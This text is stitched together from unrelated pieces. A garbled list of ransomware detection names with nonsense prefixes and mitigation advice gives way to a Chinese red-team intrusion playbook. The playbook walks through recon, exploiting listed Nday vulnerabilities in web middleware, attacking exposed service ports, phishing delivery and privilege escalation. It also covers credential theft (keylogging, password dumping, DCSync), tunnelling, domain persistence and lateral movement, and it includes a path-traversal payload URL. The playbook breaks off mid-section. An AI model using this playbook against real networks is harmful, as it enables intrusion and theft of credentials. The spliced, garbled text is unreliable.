马云惹不起马云W32/Filecoder.NYH!tr.ransom

马云惹不起马云W32/Filecoder.NVR!tr.ransom

马云惹不起马云W32/Filecoder.74A0!tr.ransom

马云惹不起马云W64/Filecoder.D083!tr.ransom

马云惹不起马云W64/Filecoder.AA!tr.ransom

马云惹不起马云W32/Crypmod.ADEJ!tr.ransom

马云惹不起马云W32/DelShad.AM!tr.ransom

马云惹不起马云W32/Trojan_Ransom.AB!tr

马云惹不起马云W32/PossibleThreatBianLianFortiGuard實驗室檢測已知的BianLian勒索軟件樣本,其特徵如下:

W32/Filecoder.BT!tr.ransomAgendaFortiGuard實驗室通過以下反病毒簽名檢測到已知的Agenda勒索軟件變體:

W32/Agent.AK!tr.ransom

W32/PossibleThreat緩解措施1.由於易於中斷、對日常運營的破壞、對組織聲譽的潛在影響,以及不必要的破壞或發布個人身份信息(PII)等,保持所有AV和IPS簽名的最新是至關重要的;

2.由於大多數勒索軟件是通過網絡釣魚發送的,組織應該考慮利用旨在培訓用戶了解和檢測網絡釣魚威脅的Fortinet解決方案;

3.FortiPhish網絡釣魚模擬服務使用真實世界的模擬來幫助組織測試用戶對網絡釣魚威脅的意識和警惕,並在用戶遇到有針對性的網絡釣魚攻擊時培訓和加強適當的做法。

4.不支付贖金。像CISA、NCSC、FBI和HHS這樣的組織警告勒索軟件受害者不要支付贖金,部分原因是支付並不能保證文件會被恢復。根據美國財政部外國資產控制辦公室(OFAC)的一項建議,贖金支付還可能鼓勵對手將目標鎖定在其他組織,鼓勵其他攻擊者傳播勒索軟件。

日常流程简要说明

入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

0x01 入口权限获取 [ 前期侦察,搜集阶段本身就不存在太多可防御的点,非防御重心 ]

1.绕CDN找出目标所有真实ip段
(1).通过全国多个PING,查看IP地址是否唯一来判断是否存在CDN
http://ping.chinaz.com/
https://tools.ipip.net/ping.php
https://www.17ce.com/
https://www.cdnplanet.com/tools/cdnfinder/
(2).通过之前的DNS绑定历史记录来查找真实IP地址
https://x.threatbook.cn/
https://viewdns.info/
https://www.ip138.com/
http://toolbar.netcraft.com/site_report?url=
https://securitytrails.com/
(3).通过获取多个子域名,并批量对多个子域名进行ping,可判断该子域名的IP段就是真实IP段(主站用了CND,而子域名分站不用Cdn解析)
Layer子域名挖掘机/GoogleHacking
https://phpinfo.me/domain/
http://tool.chinaz.com/subdomain/
https://github.com/lijiejie/subDomainsBrute
(4).利用SSL证书寻找真实原始IP
https://censys.io/
https://crt.sh/
(5).使用国外主机解析域名
https://asm.ca.com/zh_cn/ping.php
https://asm.saas.broadcom.com/zh_cn/register.php
https://dnscheck.pingdom.com
(6).网站漏洞查找如phpinfo或者github敏感信息泄露或者Apache status和Jboss status敏感信息泄露、网页源代码泄露、svn信息泄露信、github信息泄露
(7).网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
(8).入侵CDN,通过漏洞或者或者社工弱口令进入。
(9).通过ZMAP和Zgrab全网扫描获取真实IP
获取IP段:
https://www.ip2location.com/free/visitor-blocker
https://www.ipdeny.com/ipblocks/
https://www.t00ls.net/articles-40631.html(Zgrab)
https://levyhsu.com/2017/05/%e5%88%a9%e7%94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/
http://bobao.360.cn/learning/detail/211.html(ZMAP)
(10).网络空间安全引擎搜索
钟馗之眼:https://www.zoomeye.org
Shodan:https://www.shodan.io
Fofa:https://fofa.s
(11).奇特的 ping
如ping www.163.com,如果ping 163.con就可以绕过
(12).可以ping以前的旧的域名
(13).F5 LTM解码法
当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的真实ip
2.找目标的各种Web管理后台登录口
(1)批量抓取目标所有真实C段 Web banner
工具:iisput
(2).批量对目标所有真实C段进行基础服务端口扫描探测识别
工具:御剑端口扫描,Goby
(3).尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破
DNS域传输:
C:\Users\lj>nslookup
默认服务器:  UnKnown
Address:  211.82.100.1
> server dns1.thnu.edu.cn
默认服务器:  dns1.thnu.edu.cn
Address:  125.223.168.5
> ls thnu.edu.cn
子域名爆破:
Layer
(4).批量抓取目标所有子域 Web banner
Layer
(5)、批量对目标所有子域集中进行基础服务端口探测识别
工具:御剑端口扫描,Goby
(6)批量识别目标所有存活Web站点的Web程序指纹及其详细版本
https://github.com/EdgeSecurityTeam/EHole
https://github.com/zhzyker/vulmap 
http://finger.tidesec.com/
http://whatweb.bugscaner.com/look/
https://fp.shuziguanxing.com/#/
https://www.yunsee.cn/
(6)从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey"
https://github.com/0xbug/Hawkeye
https://github.com/FeeiCN/GSIL
(6)从网盘/百度文库 中查找目标泄露的各类 敏感文件 及 账号密码
http://www.daysou.com/(网盘搜索) 
(7)从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ]
https://www.madebug.net/
(8)目标Svn里泄露的各类 敏感文件
工具:Seay SVN漏洞利用工具
(9)网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...]
 工具:御剑目录,dirsearch
https://github.com/foryujian/yjdirscan
https://github.com/maurosoria/dirsearch 
(10)目标站点自身在前端代码中泄露的各种敏感信息
(11)fofa / shodan / bing / google  hacking 深度利用
(12)搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱曾经是否泄露过密码 ]
学生学号官网网站以及贴吧论坛收集,员工工号到官网网站或者社工库和github上搜索
(13)目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息
(14)目标微信小程序以及公众号
(15)分析目标app Web请求
(16)借助js探针搜集目标内网信息
(17)想办法混入目标的各种 内部QQ群 / 微信群
(18)分析目标直接供应商 [尤其是技术外包]
(19)根据前面已搜集到的各类信息制作有针对性的弱口令字典
https://xsshs.cn/xss.php?do=pass
(20)目标所用 Waf 种类识别 与 绕过
https://github.com/EnableSecurity/wafw00f(waf识别) 
(21)BypassWAF 文件上传 / 读取 / 下载
(22) BypassWAF Sql注入
(23) BypassWAF RCE
(24) BypassWAF 各类Java Web中间件已知Nday漏洞利用 (25)BypassWAF Webshell 免杀 其它更多 , 待补充修正...

0x02 入口权限获取 [ 外部防御重心 ( "重中之重" ) ]

此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用
如下已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向
故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序""web组件"

针对各类Java中间件的各种已知Nday漏洞利用

不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑
所以拿到的shell权限一般也非常高,通常都直接是服务器权限
尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限
关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的
  • Struts2
Struts2-005
Struts2-008
Struts2-009
Struts2-013
Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高)
Struts2-019
Struts2-020
Struts2-devmode
Struts2-032
Struts2-033
Struts2-037
Struts2-045
Struts2-046
Struts2-048
Struts2-052
Struts2-053
Struts2-057
利用工具:
https://github.com/HatBoy/Struts2-Scan
  • weblogic
CVE-2019-2725
CVE-2019-2729
CVE-2018-3191
CVE-2018-2628
CVE-2018-2893
CVE-2018-2894
CVE-2017-3506
CVE-2017-10271
CVE-2017-3248
CVE-2016-0638
CVE-2016-3510
CVE-2015-4852
CVE-2014-4210

SSRF
控制台弱口令,部署webshell
工具检查和漏洞利用:
https://github.com/0xn0ne/weblogicScanner(工具检查)
https://github.com/zhzyker/exphub/tree/master/weblogic (工具利用) 
  • Jboss
CVE-2015-7501
CVE-2017-7504
CVE-2017-12149

未授权访问,部署webshell
控制台弱口令,部署webshell
利用工具:
https://github.com/joaomatosf/jexboss
https://github.com/joaomatosf/JavaDeserH2HC
  • wildfly [ jboss 7.x 改名为 wildfly ]
控制台弱口令,部署webshell
  • Tomcat
CVE-2016-8735
CVE-2017-12615 [ readonly 实际设为 true的情况较少,稍鸡肋 ]
CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ]

控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ]
漏洞利用总结:
https://blog.csdn.net/weixin_42918771/article/details/104844367
https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA
https://saucer-man.com/information_security/507.html#cl-11  
  • Jekins
CVE-2018-1999002 [任意文件读取]

未授权访问,任意命令执行
控制台弱口令,任意命令执行
漏洞利用总结:
https://www.cnblogs.com/junsec/p/11593556.html
https://misakikata.github.io/2020/03/Jenkins%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/
https://github.com/gquere/pwn_jenkins 
  • ElasticSearch
CVE-2014-3120 [专门针对老版本(无沙盒)RCE]
CVE-2015-1427 [Groovy RCE]
CVE-2015-3337 [任意文件读取]

未授权访问,敏感信息泄露
漏洞总结:
https://jishuin.proginn.com/p/763bfbd3aa0d
https://mp.weixin.qq.com/s?__biz=MzAwMjgwMTU1Mg==&mid=2247484799&idx=2&sn=b91f5bc7a31f5786a66f39599ea44bff
https://blog.csdn.net/u011066706/article/details/51175761  
https://www.cnblogs.com/AtesetEnginner/p/12060537.html 
  • RabbitMQ
弱口令

默认账号密码都是guest/guest(默认端口:15672,25672,15692)

  • Glassfish
任意文件读取 [ 低版本 ]
控制台弱口令,部署webshell
漏洞利用:
http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile
  • IBM Websphere
Java 反序列化
控制台弱口令,部署webshell
漏洞利用
https://www.lxhsec.com/2019/03/04/middleware/
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/WebSphere/CVE-2020-4643%20IBM%20WebSphere%E5%AD%98%E5%9C%A8XXE%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
https://github.com/Ares-X/VulWiki
https://xz.aliyun.com/t/8248   
  • Axis2
任意文件读取
目录遍历
漏洞利用:
https://xz.aliyun.com/t/6196
https://paper.seebug.org/1489/#23-axis2
https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Apache%20Axis/%EF%BC%88CVE-2019-0227%EF%BC%89Apache%20Axis%201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
https://github.com/CaledoniaProject/AxisInvoker
https://github.com/Fnzer0/Axis-RCE
https://paper.seebug.org/1489/      
  • Apache ActiveMQ
未授权访问,5.12 之前的版本 fileserver存在 PUT任意写
CVE-2015-5254
漏洞利用:
http://wiki.sentrylab.cn/0day/ActiveMQ/3.html
https://www.freebuf.com/column/161188.html
https://www.taodudu.cc/news/show-2345492.html   
  • Apache Solr
CVE-2017-12629
CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ]
漏洞利用:
https://xz.aliyun.com/search?keyword=Solr
https://www.jianshu.com/p/43e7f13e2058
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/
https://cloud.tencent.com/developer/article/1810723   
http://wiki.peiqi.tech/PeiQi_Wiki/Web%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%BC%8F%E6%B4%9E/Apache/Apache%20Solr/?h=Apache%20Solr 
  • Apache Zookeeper
未授权访问,敏感信息泄露
  • Apache Shiro反序列化
  • fastjson <= 1.2.47 反序列化利用

针对各类Windows php集成环境 [ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ]

AppServ
Xampp
宝塔
PhpStudy		
......

针对各类开源程序的 已知Nday漏洞利用

Dedecms 	后台弱口令,系列已知nday漏洞利用
thinkphp 5.x 	后台弱口令,系列已知nday漏洞利用
phpcms 		后台弱口令,系列已知nday漏洞利用
ecshop 		后台弱口令,系列已知nday漏洞利用
Metinfo 	后台弱口令,系列已知nday漏洞利用
discuz 		后台弱口令,系列已知nday漏洞利用
帝国cms 	后台弱口令,系列已知nday漏洞利用
phpmyadmin 	数据库弱口令,系列已知nday漏洞利用
wordpress 	后台弱口令,系列已知nday漏洞利用
joomla 		后台弱口令,系列已知nday漏洞利用
drupal 		CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用
......

针对其它各类Web组件的 已知Nday漏洞利用

  • IIS 6.0 RCE
短文件漏洞
PUT 任意写
Webdav RCE CVE-2017-7269
  • 禅道项目管理系统
SQL注入
文件读取
远程执行
  • 通达OA
SQL注入
任意上传
  • Exchange
利用接口进行邮箱用户名枚举
针对各个接口的弱口令爆破
CVE-2020-0688 [ 利用前提是需要先得有任意一个邮箱用户权限 ]
....
  • Zimbra [ XXE + SSRF => RCE ]
CVE-2013-7091
CVE-2016-9924
CVE-2019-9670
  • Citrix
CVE-2019-19781
  • Jumpserver
身份验证绕过
  • Zabbix
CVE-2017-2824
SQL注入 [ 2.0 老版本 ]
控制台弱口令,敏感机器信息泄露
  • Cacti
低版本 SQL注入
控制台弱口令
  • Nagios
CVE-2016-9565
控制台弱口令
  • Webmin RCE
CVE-2019-15107 
  • PHPMailer
CVE-2016-10033
  • 泛微OA远程代码执行
  • 金蝶OA SQL注入
  • Coremail 敏感文件泄露
  • UEditor 任意文件上传
  • OpenSSL心脏滴血抓明文账号密码 [ Heartbleed ]
  • 破壳漏洞 [ Shellshock ]

各种能快速getshell的常规基础Web漏洞利用 [ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ]

后台弱口令
SSRF
sql注入
越权
命令 / 代码执行 / 反序列化
任意文件上传 / 下载 / 读取
包含
XSS(实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命)
业务逻辑漏洞

针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用

  • Pulse Secure VPN
CVE-2019-11510 [ 任意文件读取 ]
  • Fortinet VPN
CVE-2018-13379 [ 文件读取 ]
  • Sangfor Vpn RCE

0x03 入口权限获取 [ 专门针对各类基础服务端口的各种getshell利用,防御重点 ( "重中之重" ) ]

此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 
同样,已按 "实际攻击利用的难易程度""获取到的shell权限高低" 为标准进行了详细排序
如下,就每个端口的具体攻击利用方式,进行了简要说明
  • Top Port List
Mssql 	  [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
SMB       [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ]
WMI       [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ]
WinRM	  [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ]
RDP       [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ]
SSH       [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ]
ORACLE    [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ]
Mysql     [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ]
REDIS	  [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ]
POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ]
LDAP      [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ]
SMTP      [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ]
POP3      [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ]
IMAP      [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ]
Exchange  [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ]
VNC       [ 默认工作在tcp 5900端口, 弱口令 ]
FTP       [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ]
Rsync     [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ]
Mongodb   [ 默认工作在tcp 27017端口, 未授权, 弱口令 ]
TELNET    [ 默认工作在tcp 23端口, 弱口令, 后门植入 ]
SVN       [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ]
JAVA RMI  [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ]
CouchDB   [ 默认工作在tcp 5984端口, 未授权访问 ]

0x04 入口权限获取

传统钓鱼攻击利用,实际护网场景中用的非常频繁,细节非常多,此处不一一列举,防御重点

  • 发信前期准备
枚举有效的目标邮箱用户名列表
批量探测目标邮箱弱口令
伪造发信人 [ 发信邮服搭建 ]
钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ]
......
  • 典型投递方式
第一种,直接给目标发送各种常规木马信 

传统宏利用
捆绑
exe[zip,7z]
lnk
chm
自解压
木马链接
OLE
CVE-2017-11882 [ 利用漏洞触发 ]
...
第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 

Vpn
Mail
OA
Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ]
......

0x05 主机安全 [ 提权利用,防御重点 ]

以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及
  • Windows 系统漏洞 本地提权 [ 成功的前提是,保证事先已做好各种针对性免杀 ]
BypassUAC [ win7 / 8  / 8.1 / 10 ]
MS14-058[KB3000061]				    [重点]
MS14-068[KB3011780]				    [重点]
ms15-051[KB3045171]				    [重点]
MS15-077[KB3077657]				    [重点]
MS16-032[KB3124280]				    [重点]
ms16-075					    [重点]
MS16-135[KB3199135]				    [重点]
MS17-010[KB4013389]				    [重点]
cve-2019-0708					    [重点]
CVE-2019-0803					    [重点]
CVE-2019-1322 & CVE-2019-1405			    [重点]
cve-2019-12750 [ 赛门铁克(用的较多)本地提权 ]	    [重点]		
  • linux 内核漏洞 本地提权 [ linux-exploit-suggester ]
CVE-2016-5195					    [重点]
CVE-2017-16995
CVE-2019-13272
  • 利用各类第三方服务 / 软件工具提权
Mssql 						    [重点]
Oracle         					    [重点]
Mysql
各类第三方软件dll劫持 				    [重点]
suid权限                        
计划任务
各种错误服务配置利用

0x06 内网安全 [ 敏感信息搜集,防御重点,可在此项严格限制各种系统内置命令执行 ]

  • 搜集当前已控"跳板机"的各类敏感信息
注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述

查看当前shell权限 及 详细系统内核版本
获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip
获取当前系统最近的用户登录记录
获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ]
获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息
获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ]
获取本机 rdp / ssh 端口开启状态 及 其默认端口号
获取本机所有用户的rdp外连记录
获取本机的所有SSH登录记录
获取当前系统所有登录成功的日志 [ 针对windows ]
获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ]
获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录
获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ]
获取当前用户 桌面 及 回收站 里的所有文件列表
获取当前系统的所有存在suid权限的二进制程序
获取当前系统代理 [ ip & 端口 ]
获取当前系统所有的自启动注册表项值
获取当前系统的所有 ipc 连接 及 已启用共享
获取当前系统的所有挂载[mount]
获取当前系统的防火墙状态
获取当前系统所有分区/盘符及其详细使用情况
获取本机的累计开机时长
获取本机arp / dns缓存
获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ]
获取当前系统所有本地用户及组列表
获取当前系统host文件内容
获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ]
远程截屏捕捉目标用户敏感操作

由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作
  • 利用当前已控 "跳板机", 分析目标内网大致网络拓扑 及 所有关键性业务机器分布
  • 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" [smb探测扫描]
  • 针对内网的各种高危敏感服务定位["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)]
  • 内网批量 Web Banner 抓取,获取关键目标业务系统如下
内网各种文件[共享]服务器
内网各类web服务器  [ 可用于后期留入口 ]
内网各类数据库服务器
内网邮件服务器  [ 可用于后期留入口 ]
内网Vpn服务器  [ 可用于后期留入口 ]
内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti...
内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端...
内网日志服务器
内网补丁服务器
内网各类OA,ERP,CRM,SRM,HR系统... 
内网打印服务器
内网 MES 系统 
内网虚拟化服务器 / 超融合平台 [Vmware ESX]
内网堡垒机...
内网运维,研发 部门员工的机器
内网路由,交换设备...
等等等...

针对以上的各种常规内网探测扫描,其实在流量上都会有非常清晰的表现
通过在一些关键节点设备/服务器上部署探针搜集流量
再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的
  • 针对各类已知系统高危RCE漏洞的批量探测识别与利用
MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ]
MS17-010
CVE-2019-0708

其实针对此类漏洞的攻击利用识别,就显得比较直白了
通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断

0x07 内网安全 [ 各类敏感凭证 "搜集" 与 "窃取" ]

  • 主动密码搜集
注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的
此处不再赘述, 此项非防御重点, 因为压根也不好防

批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码"
   比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)...
想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表"
   比如, *.ls,*.doc,*.docx, *.txt....
抓取各类 "数据库客户端工具中保存各种数据库连接账号密码
   比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)]

抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ]
抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ]
抓取当前系统的所有 "用户token" [ Windows ]
抓取 "windows凭据管理器中保存的各类连接账号密码"
抓取 "MSTSC 客户端中保存的所有rdp连接账号密码"
抓取各类 "VNC客户端工具中保存的连接密码"
抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ]
抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty
抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器
抓取各类 "数据库表中保存的各类账号密码hash"
抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp...
抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird...
抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址"
抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码"

  • 被动密码搜集 [ 等着管理员自己来送密码 ]
[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点]

Windows SSP [持久化/内存]
Hook PasswordChangeNotify [持久化/内存]
OWA 登录账号密码截获
截获mstsc.exe中输入的rdp连接账号密码
linux 别名记录利用
本机明文密码嗅探 [ http,ftp,pop3... ]
传统键盘记录
windows蓝屏技巧 [ 此操作主要为应对不时之需,比如,搞蓝屏,登管理员登录抓密码 ]
  • Hash爆破:
Hashcat [ 完全拼GPU ] 

0x08 内网安全 [ 内网常用 "隧道"" / "转发"" / "代理"" 穿透手法 提炼汇总 ,防御重点 ]

出网流量刺探
比如,http,dns,以及一些穿透性相对较好的tcp端口... 
这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器

常规 HTTP脚本代理
abptts,Neo-reGeorg,reGeorg,tunna,reduh...
不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行

SSH 隧道
加密端口转发,socks 实战用途非常灵活,此处不细说 ]

Rdp 隧道

反向SOCKS
nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 
工具基本都不免杀了,需要自行处理

正反向TCP 端口转发
非常多,就不一一列举, eg: nginx,netsh,socat,ew....

DNS加密隧道			

Web端口复用

需要明白的是,在一般的红队场景中
入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性

0x09 域内网安全 [ 域内常用攻击手法 ( 域渗透 ),提炼汇总,防御重点 ]

  • 针对当前域的一些常规信息搜集[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好]
获取当前域内的完整域管列表
获取当前域内的所有域控机器名列表
获取当前域内的所有DNS服务器机器名列表
获取当前域内的所有SPN
获取当前域内的所有OU
获取当前域内的所有用户 & 用户组列表
获取当前域信任关系 [ 跨域渗透 ]
获取当前域内所有机器的开机时间
获取当前域内网段及web站点
获取当前域内策略 [ 主要是为了了解密码策略 ]
获取当前域林
.......
  • 快速获取目标域控权限的一些常规手法
搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 
服务票据hash破解("尤其是域管用户的") [ kerberoast ]
批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ]
Kerberos 委派利用
爆破LDAP
Exchange特定ACL滥用
SSP 截获关键服务器登录密码
利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至
  抓到域管密码
  抓到域管令牌
DNSAdmin 组成员滥用 [ 加载执行恶意dll ]
LAPS
MS14-068 [ 如今实际中已很少遇到了 ]
LLMNR/NBNS欺骗  + SMB relay [ 真实在实战中其实用的并不多 ]
  • 域内后渗透敏感信息搜集分析
获取所有DNS记录
导出当前域的完整LDAP数据库
提取当前域的ntds.dit [ 域内账号密码数据库 ]
  Dcsync同步
  Volume Shadow Copy Service
  • 域内指定用户登录ip定位
利用OWA登录日志
利用域控服务器登录日志
指定服务银票 [ Silver Ticket ]
除此之外,就是下面的各类常规横向手法
  • 域内指定用户机器定向控制技巧
绑定用户登录脚本
利用GPO下发 [实际上,利用GPO能做的事情还非常非常多]
PTT [ 票据传递 ]
  • 针对域管的各种权限维持技巧
金票
Skeleton Key
DSRM密码同步
OWA后门
...
  • 域内Exchange 邮件数据脱取
利用Ews接口通过PTH的方式脱邮件

0x10 内网安全 [ 跨平台横向渗透 (远程执行),防御重点 ( "重中之重" ) ]

  • 从 Windows平台 横向至 Windows平台
注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限

远程服务管理 [ SCM ]
远程创建执行计划任务 [ Scheduled Tasks ]
WMI 远程执行 [ WMI ]
针对高版本WindowsWinRM 远程执行 
DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ]
高版本 RDP 远程执行
利用MSSQL数据库存储过程来变相远程执行
利用Oracle数据库存储过程来变相远程执行
SMB [ PTH (hash传递) ]
RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控目标管理员个人机 CVE-2019-0887 ]
利用补丁服务器下发执行
利用EDR主控端定向下发执行
  • 从 Windows平台 横向至 *inux平台
基于Windows SSH库自行开发各种远程执行小工具
windows10自带的openssh直接命令远程连接:
ssh  root@192.168.3.124
scp -rp  I:\test  root@192.168.3.124:/opt(上传文件件及其内容)
scp   I:\test\test.txt  root@192.168.3.124:/opt  (上传文件内容)
scp   root@192.168.3.124:/opt/test/2.txt   I:\test (下载文件)
  • 从 *inux平台 横向至 Windows 平台
一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下
wmiexec_linux_x86_64
smbexec_linux_x86_64
psexec_linux_x86_64
atexec_linux_x86_64
dcomexec_linux_x86_64
参考工具:
https://github.com/maaaaz/impacket-examples-windows
https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.22.dev-binaries 
另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行
  • 从 *inux平台 横向至 *inux 平台
